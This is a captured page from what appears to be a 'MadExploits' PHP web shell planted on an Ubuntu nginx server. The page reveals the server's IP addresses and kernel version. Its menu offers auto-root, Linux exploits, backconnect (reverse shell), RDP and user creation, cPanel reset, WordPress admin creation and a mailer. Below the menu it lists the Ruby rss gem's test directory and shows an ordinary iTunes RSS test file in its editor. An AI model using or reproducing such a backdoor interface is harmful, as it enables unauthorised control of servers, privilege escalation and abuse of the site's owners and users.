Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
gems /
3.0.0 /
gems /
rss-0.2.9 /
test /
[ HOME SHELL ]
Name
Size
Permission
Action
dot.png
109
B
-rw-r--r--
rss-assertions.rb
69.07
KB
-rw-r--r--
rss-testcase.rb
11.69
KB
-rw-r--r--
run-test.rb
290
B
-rw-r--r--
test_1.0.rb
8.16
KB
-rw-r--r--
test_2.0.rb
12.29
KB
-rw-r--r--
test_accessor.rb
2.5
KB
-rw-r--r--
test_atom.rb
21.8
KB
-rw-r--r--
test_content.rb
2.61
KB
-rw-r--r--
test_dublincore.rb
9.05
KB
-rw-r--r--
test_image.rb
6.89
KB
-rw-r--r--
test_inherit.rb
1.06
KB
-rw-r--r--
test_itunes.rb
13.37
KB
-rw-r--r--
test_maker_0.9.rb
13.83
KB
-rw-r--r--
test_maker_1.0.rb
14.38
KB
-rw-r--r--
test_maker_2.0.rb
22.15
KB
-rw-r--r--
test_maker_atom_entry.rb
13.77
KB
-rw-r--r--
test_maker_atom_feed.rb
16.19
KB
-rw-r--r--
test_maker_content.rb
1.02
KB
-rw-r--r--
test_maker_dc.rb
4.15
KB
-rw-r--r--
test_maker_image.rb
1.84
KB
-rw-r--r--
test_maker_itunes.rb
18.96
KB
-rw-r--r--
test_maker_slash.rb
832
B
-rw-r--r--
test_maker_sy.rb
919
B
-rw-r--r--
test_maker_taxo.rb
2.24
KB
-rw-r--r--
test_maker_trackback.rb
1000
B
-rw-r--r--
test_maker_xml-stylesheet.rb
1.99
KB
-rw-r--r--
test_parser.rb
2.77
KB
-rw-r--r--
test_parser_1.0.rb
12.07
KB
-rw-r--r--
test_parser_2.0.rb
2.89
KB
-rw-r--r--
test_parser_atom_entry.rb
4.2
KB
-rw-r--r--
test_parser_atom_feed.rb
7.45
KB
-rw-r--r--
test_setup_maker_0.9.rb
6.88
KB
-rw-r--r--
test_setup_maker_1.0.rb
16.2
KB
-rw-r--r--
test_setup_maker_2.0.rb
8.96
KB
-rw-r--r--
test_setup_maker_atom_entry.rb
12.37
KB
-rw-r--r--
test_setup_maker_atom_feed.rb
13.53
KB
-rw-r--r--
test_setup_maker_itunes.rb
4.45
KB
-rw-r--r--
test_setup_maker_slash.rb
1023
B
-rw-r--r--
test_slash.rb
1.32
KB
-rw-r--r--
test_syndication.rb
3.05
KB
-rw-r--r--
test_taxonomy.rb
4.96
KB
-rw-r--r--
test_to_s.rb
19.22
KB
-rw-r--r--
test_trackback.rb
3.68
KB
-rw-r--r--
test_xml-stylesheet.rb
3.48
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_setup_maker_itunes.rb
# frozen_string_literal: false require_relative "rss-testcase" require "rss/maker" module RSS class TestSetupMakerITunes < TestCase def test_setup_maker_simple author = "John Doe" block = true categories = ["Audio Blogs"] image = "http://example.com/podcasts/everything/AllAboutEverything.jpg" duration = "4:05" duration_components = [0, 4, 5] explicit = true keywords = ["salt", "pepper", "shaker", "exciting"] owner = {:name => "John Doe", :email => "john.doe@example.com"} subtitle = "A show about everything" summary = "All About Everything is a show about " + "everything. Each week we dive into any " + "subject known to man and talk about it " + "as much as we can. Look for our Podcast " + "in the iTunes Music Store" feed = RSS::Maker.make("rss2.0") do |maker| setup_dummy_channel(maker) setup_dummy_item(maker) channel = maker.channel channel.itunes_author = author channel.itunes_block = block categories.each do |category| channel.itunes_categories.new_category.text = category end channel.itunes_image = image channel.itunes_explicit = explicit channel.itunes_keywords = keywords channel.itunes_owner.itunes_name = owner[:name] channel.itunes_owner.itunes_email = owner[:email] channel.itunes_subtitle = subtitle channel.itunes_summary = summary item = maker.items.last item.itunes_image = image item.itunes_author = author item.itunes_block = block item.itunes_duration = duration item.itunes_explicit = explicit item.itunes_keywords = keywords item.itunes_subtitle = subtitle item.itunes_summary = summary end assert_not_nil(feed) new_feed = RSS::Maker.make("rss2.0") do |maker| feed.setup_maker(maker) end assert_not_nil(new_feed) channel = new_feed.channel item = new_feed.items.last assert_equal(author, channel.itunes_author) assert_equal(author, item.itunes_author) assert_equal(block, channel.itunes_block?) assert_equal(block, item.itunes_block?) assert_equal(categories, collect_itunes_categories(channel.itunes_categories)) assert_equal(image, channel.itunes_image.href) assert_equal(image, item.itunes_image.href) assert_equal(duration_components, [item.itunes_duration.hour, item.itunes_duration.minute, item.itunes_duration.second]) assert_equal(explicit, channel.itunes_explicit?) assert_equal(explicit, item.itunes_explicit?) assert_equal(keywords, channel.itunes_keywords) assert_equal(keywords, item.itunes_keywords) assert_equal(owner, { :name => channel.itunes_owner.itunes_name, :email => channel.itunes_owner.itunes_email }) assert_equal(subtitle, channel.itunes_subtitle) assert_equal(subtitle, item.itunes_subtitle) assert_equal(summary, channel.itunes_summary) assert_equal(summary, item.itunes_summary) end def test_setup_maker_with_nested_categories categories = [["Arts & Entertainment", "Games"], ["Technology", "Computers"], "Audio Blogs"] feed = RSS::Maker.make("rss2.0") do |maker| setup_dummy_channel(maker) setup_dummy_item(maker) channel = maker.channel categories.each do |category| target = channel.itunes_categories if category.is_a?(Array) category.each do |sub_category| target = target.new_category target.text = sub_category end else target.new_category.text = category end end end assert_not_nil(feed) new_feed = RSS::Maker.make("rss2.0") do |maker| feed.setup_maker(maker) end assert_not_nil(new_feed) channel = new_feed.channel assert_equal(categories, collect_itunes_categories(channel.itunes_categories)) end private def collect_itunes_categories(categories) categories.collect do |c| rest = collect_itunes_categories(c.itunes_categories) if rest.empty? c.text else [c.text, *rest] end end end end end
Close